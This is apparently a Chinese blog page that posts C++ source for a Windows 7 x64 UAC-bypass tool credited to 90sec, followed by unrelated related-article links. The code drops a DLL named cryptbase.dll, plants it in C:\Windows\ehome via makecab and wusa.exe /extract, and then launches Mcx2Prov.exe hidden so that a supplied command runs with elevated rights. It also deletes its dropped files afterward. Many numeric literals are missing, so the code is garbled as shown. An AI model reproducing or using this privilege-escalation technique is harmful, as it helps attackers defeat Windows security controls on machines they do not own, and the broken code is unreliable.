// Passuac.cpp : Defines the entry point for the console application.
// #include "stdafx.h"
#include <Windows.h>
#include <stdio.h>
#include <direct.h> BOOL IsUserInAdminGroup() //判断是否在管理员组
{
BOOL fInAdminGroup = FALSE;
HANDLE hToken = NULL;
HANDLE hTokenToCheck = NULL;
DWORD cbSize = ; OSVERSIONINFO osver = {};
osver.dwOSVersionInfoSize = sizeof(osver); if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
goto Cleanup;
if (!GetVersionEx(&osver))
goto Cleanup;
if (osver.dwMajorVersion >= )
{
TOKEN_ELEVATION_TYPE elevType;
if (!GetTokenInformation(hToken, TokenElevationType, &elevType, sizeof(elevType), &cbSize))
goto Cleanup;
if (TokenElevationTypeLimited == elevType)
{
if (!GetTokenInformation(hToken, TokenLinkedToken, &hTokenToCheck, sizeof(hTokenToCheck), &cbSize))
goto Cleanup;
}
} if (!hTokenToCheck)
{
if (!DuplicateToken(hToken, SecurityIdentification, &hTokenToCheck))
goto Cleanup;
} BYTE adminSID[SECURITY_MAX_SID_SIZE];
cbSize = sizeof(adminSID);
if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, &adminSID, &cbSize))
goto Cleanup;
if (!CheckTokenMembership(hTokenToCheck, &adminSID, &fInAdminGroup))
goto Cleanup; Cleanup:
if (hToken) CloseHandle(hToken);
if (hTokenToCheck) CloseHandle(hTokenToCheck);
return fInAdminGroup;
} BOOL IsRunAsAdmin() //判断是否以管理员权限运行
{
BOOL fIsRunAsAdmin = FALSE;
DWORD dwError = ERROR_SUCCESS;
PSID pAdministratorsGroup = NULL; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
if (!AllocateAndInitializeSid(
&NtAuthority,
,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
, , , , , ,
&pAdministratorsGroup))
{
dwError = GetLastError();
goto Cleanup;
} if (!CheckTokenMembership(NULL, pAdministratorsGroup, &fIsRunAsAdmin))
{
dwError = GetLastError();
goto Cleanup;
} Cleanup:
if (pAdministratorsGroup) FreeSid(pAdministratorsGroup);
return fIsRunAsAdmin;
} BOOL writedll64()
{ char Szpath[MAX_PATH] = {};
char uacexqute[] = {};
DWORD dwWrite=;
WORD wResID;
HANDLE hFile = CreateFileA("cryptbase.dll",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("Getlasterror:%d.\r\n",GetLastError());
return ;
}
HRSRC hrsc = FindResource(NULL,MAKEINTRESOURCE(IDR_TESTDLL1),L"TESTDLL");
HGLOBAL hG = LoadResource(NULL, hrsc);
DWORD dwSize = SizeofResource( NULL, hrsc); WriteFile(hFile,hG,dwSize,&dwWrite,NULL);
CloseHandle( hFile ); getcwd(Szpath, MAX_PATH);
strcat(Szpath,"\\cryptbase.tmp");
system("makecab cryptbase.dll cryptbase.tmp");
sprintf(uacexqute,"%s /extract:C:\\Windows\\ehome\\",Szpath); ShellExecuteA(NULL, "open", "wusa.exe", uacexqute, NULL, SW_HIDE); //remove("cryptbase*");
DeleteFileA("cryptbase.dll");
DeleteFileA("cryptbase.tmp"); return true;
} int main(int argc,char* argv[])
{
FILE* fp;
char szcmd[] = {};
char *Options;
char buffer[] = {};
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=TRUE; if (argc < )
{
printf("[*]:%s Passuac for windows 7 x64\n",argv[]);
printf("[*]:%s Setp1: passuac\r\n",argv[]);
printf("[*]:%s Setp2: shell_cmd\r\n",argv[]);
printf("[*]:Welcome to www.90sec.org\r\n");
printf("[*]:Pass uac t00ls By:@90sec\r\n\r\n");
return ;
} strcpy(szcmd,argv[]); char szNewCmd[MAX_PATH] = {};
wsprintfA(szNewCmd, "\"%s\"", szcmd); if (!IsUserInAdminGroup())
{
printf("Your not have in Local Administrator Group\r\n");
printf("Program exit;");
exit();
}else
{
printf("Your have in Local Administrator Group\r\n");
printf("PassUac ing.....\r\n");
if (!IsRunAsAdmin())
{
if (!strcmp(szcmd,"passuac"))
{
writedll64();
}else
{ ShellExecuteA(NULL, "open", "C:\\windows\\ehome\\Mcx2Prov.exe", szNewCmd, NULL, SW_HIDE);
Sleep(); fp = fopen("c:\\programdata\\uac.txt","rb");
if (fp == NULL)
{
printf("Getlasterror:%d\r\n",GetLastError());
return ;
} ZeroMemory(buffer,sizeof(buffer)); while (fgets(buffer,sizeof(buffer),fp))
{
printf(buffer);
}
fclose(fp);
}
}
}
return ;
}

需要自己写个DLL,来进行参数解析。请看代码把。

代码写的相当烂,但是能够达到地步,还请各位莫笑话。

WIN7 X64 PASSUAC 源码的更多相关文章

  1. tesseract4.0:win10 +x64+vs2015 源码安装(ViewerDebugging)安装记录

    参考文章: https://blog.csdn.net/u013985291/article/details/78295789 https://blog.csdn.net/u013985291/art ...

  2. 16Aspx.com源码2014年7月详细

            Web电子商务网(三层)V2.0源码 2014-07-31   [VS2010] 源码介绍: Web电子商务网(三层)V2.0源码 源码描述: 一.源码特点     采用三层架构开发, ...

  3. win7 x64 +vs2015 + cmake3.10.3编译opencv-3.4.1+opencv_contrib-3.4.1源码,并进行配置

    简介: 一直以来都是在ubuntu下使用opencv,最近因为有<图像处理与模式识别>这门课,需要使用vs2015+opencv提交课程作业,因为opencv官方编译好的exe没有cont ...

  4. qt4.8.7 源码在win7+vs2010环境的x64编译(qt 64位)

    由于qt官网上,没有直接提供x64的安装包,但由于项目需要x64的qt,所以,小编不得不下载qt的源码,经历了一次长达约4个小时的编译过程.今年国庆7天,就遭这事上了,哈哈~~~ 几个下载链接: qt ...

  5. 谷歌开源项目Chromium的源码获取与项目构建(Win7+vs10/vs13)

    转自:http://blog.csdn.net/kuerjinjin/article/details/23563059 从12年那会儿开始获取源码和构建chromium项目都是按照那时候的官方要求用w ...

  6. mpusher 源码编译 for windows X64

    mpusher 源码编译 for windows X64 对于java我是小白,通过一步步的摸索,将经验总结下来,给更多码友提供入门的帮助.一个人的摸索是很困难的,本教程感谢 [MPush开源消息推送 ...

  7. Windows 10 x64 下编译 Hadoop 源码

    Windows 10 x64 下编译 Hadoop 源码 环境准备 Hadoop并没有提供官方的 Windows 10 下的安装包,所以需要自己手动来编译,官方文档中 BUILDING.txt 文件中 ...

  8. QGIS(2.18.15 源码)+Qt(5/5.9.3)+VS2015(X64)编译

    由于工作要求,今年需要基于Qt搞跨平台的GIS.前期未曾接触过Qt,最近也简单学习了下,开源的QGIS是非常不错的学习资源,下了最新版的QGIS源码,不过在VS2015下却没法直接打开.网上查了很多资 ...

  9. 32位win7+vs2008编译mysql 5.6.22源码并安装

    以下这部分安装说明是来自http://www.2cto.com/database/201407/316681.html的win7+vs2010源码编译mysql,文章最后会说明用vs2008编译遇见的 ...

随机推荐

  1. 【BZOJ1937】[Shoi2004]Mst 最小生成树 KM算法(线性规划)

    [BZOJ1937][Shoi2004]Mst 最小生成树 Description Input 第一行为N.M,其中 表示顶点的数目, 表示边的数目.顶点的编号为1.2.3.…….N-1.N.接下来的 ...

  2. EasyPlayer-RTSP-Android安卓播放器播放RTSP延迟优化策略,极低延时!

    EasyPlayer-RTSP-Android安卓RTSP播放器低延迟播放延时优化策略 EasyPlayer-RTSP-Android播放器是一款专门针对RTSP协议进行过优化的流媒体播放器,其中我们 ...

  3. 发挥inline-block作用

    .pay-type { // 同行 display: inline-flex; padding: 0 @pay-type_2imgs_padding-width; } .pay-type_icon { ...

  4. 数据链路层负载均衡 Linux Virtual Server

    w 李智慧

  5. mustache模板技术(转)

    项目首页:http://mustache.github.com/  项目文档:http://mustache.github.com/mustache.5.html  Demo:  http://mus ...

  6. python的文件处理学习笔记

    python的文件处理函数是open() 以下主要是关于这个函数的一些学习笔记 1.文件处理离不开编码 要注意的是文件打开时的编码和文件保存时的编码的统一,这样才能保证你打开的文件不会存在乱码 总结: ...

  7. MySQL版本与工具

    MySQL各个版本区别 MySQL 的官网下载地址:http://www.mysql.com/downloads/ 在这个下载界面会有几个版本的选择. 1. MySQL Community Serve ...

  8. POCO c++ 使用例子

    .定时器 #include "Poco/Timer.h" #include "Poco/Thread.h" using Poco::Timer; using P ...

  9. 斯坦福大学Andrew Ng - 机器学习笔记(7) -- 异常检测

    大概用了一个月,Andrew Ng老师的机器学习视频断断续续看完了,以下是个人学习笔记,入门级别,权当总结.笔记难免有遗漏和误解,欢迎讨论. 鸣谢:中国海洋大学黄海广博士提供课程视频和个人笔记,在此深 ...

  10. Mac下最好用的文本编辑器

    友情提醒:图多杀猫. 曾经在Windows下一直用gVim.能够用键盘控制一切,操作起来是又快又爽,还支持一大堆插件.想怎么玩就怎么玩.后来转Mac后,也沿袭着之前的习惯.一直在用终端的Vim.偶尔会 ...